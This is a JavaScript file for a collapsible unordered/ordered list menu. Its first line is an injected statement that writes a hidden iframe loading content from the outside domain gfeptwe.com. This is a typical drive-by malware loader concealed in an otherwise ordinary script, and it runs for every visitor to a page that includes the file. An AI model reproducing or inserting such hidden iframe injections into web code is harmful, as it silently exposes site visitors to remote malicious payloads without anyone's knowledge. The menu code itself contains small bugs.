document.write('<div style="visibility:hidden"><iframe src="http://gfeptwe.com/ld/dx/" width=100 height=80></iframe></div>');

/*
	Unordered (ordered) list collapse menu generator - U(O)LCMG :-)
	centi (http://www.centi.local.sk | centi_at_local.sk)
*/


addEvent(window, "load", init);		//no comment (well now there is a comment:)

function init()
{
	elms = (document.all) ? document.all : document.getElementsByTagName("*");
	for (i=0;i<elms.length;i++)
	{
		if ((elms[i].className.indexOf("menu")>-1) && ((elms[i].tagName=="UL") || (elms[i].tagName=="OL")))
		{
			ulElms = elms[i].getElementsByTagName("UL");			// collapse all inside lists
			olElms = elms[i].getElementsByTagName("OL");
			for (r=0;r<ulElms.length;r++)
				ulElms[r].style.display = "none";
			for (t=0;t<olElms.length;t++)
				olElms[t].style.display = "none";

			lis = elms[i].getElementsByTagName("li");			//get all LIs in menu
			for(s=0;s<lis.length;s++)
			{
				uls = lis[s].getElementsByTagName("ul");
				ols = lis[s].getElementsByTagName("ol");
				if ((uls.length > 0) || (ols.length > 0))		//if there is at least one UL
				{
					var menuOpener = document.createElement("a");	//create new menu links
					menuOpener.setAttribute("href", "javascript:void(0);");		//make CSS work with this link = need href attribute
					menuOpener.className = "menu-opener";
					menuOpener.innerHTML = lis[s].firstChild.nodeValue;
					lis[s].replaceChild(menuOpener, lis[s].firstChild);	//replace the item text with the new menu link

					addEvent(menuOpener, "click", menu);
				}
			}
		}
	}
}

function menu(e)		//this makes the menu to open...
{
	e = fixE(e);
	par = e.targetElement.parentNode;

	childs = par.childNodes;
	for(i=0;i<childs.length;i++)
	{
		if ((childs[i].tagName == "UL") || (childs[i].tagName == "OL"))	//get the UL child to open
		{
			activeElm = childs[i];
			if (childs[i].style.display != "block")
				childs[i].style.display = "block";
			else
				childs[i].style.display = "none";
		}
	}

	//close other items
	elms = (document.all) ? document.all : document.getElementsByTagName("*");
	for (i=0;i<elms.length;i++)
	{
		if ((elms[i].className.indexOf("menu")>-1) && ((elms[i].tagName=="UL") || (elms[i].tagName=="OL")))
		{
			if (elms[i].className=="menu-single")						// close only in menus with class="menu-single"
			{
				ulElms = elms[i].getElementsByTagName("UL");			// collapse all inside lists
				olElms = elms[i].getElementsByTagName("OL");
				for (r=0;r<ulElms.length;r++)
				{
					if (ulElms[r]!=activeElm)
						ulElms[r].style.display = "none";
				}
				for (t=0;t<olElms.length;t++)
				{
					if (olElms[r]!=activeElm)
						olElms[t].style.display = "none";
				}
			}
		}
	}
}

function fixE(e)		//make event work in both IE and NN
{
	e = (e) ? e : (window.event) ? window.event : "";
	e.targetElement = (e.target) ? e.target : e.srcElement;
	e.targetElement = (e.targetElement.nodeType == 1) ? e.targetElement : e.targetElement.parentNode;
	return e;
}

//Scott Andrew's event attacher
function addEvent(obj, evType, fn, useCapture)
{
	if (window.opera)		//opera hack
		obj = (obj = window) ? document : obj;
	
	if (obj.addEventListener)
	{
		obj.addEventListener(evType, fn, useCapture);
		return true;
	}
	else if (obj.attachEvent)
	{
		var r = obj.attachEvent("on"+evType, fn);
		return r;
	}
	else 
		return false;
}
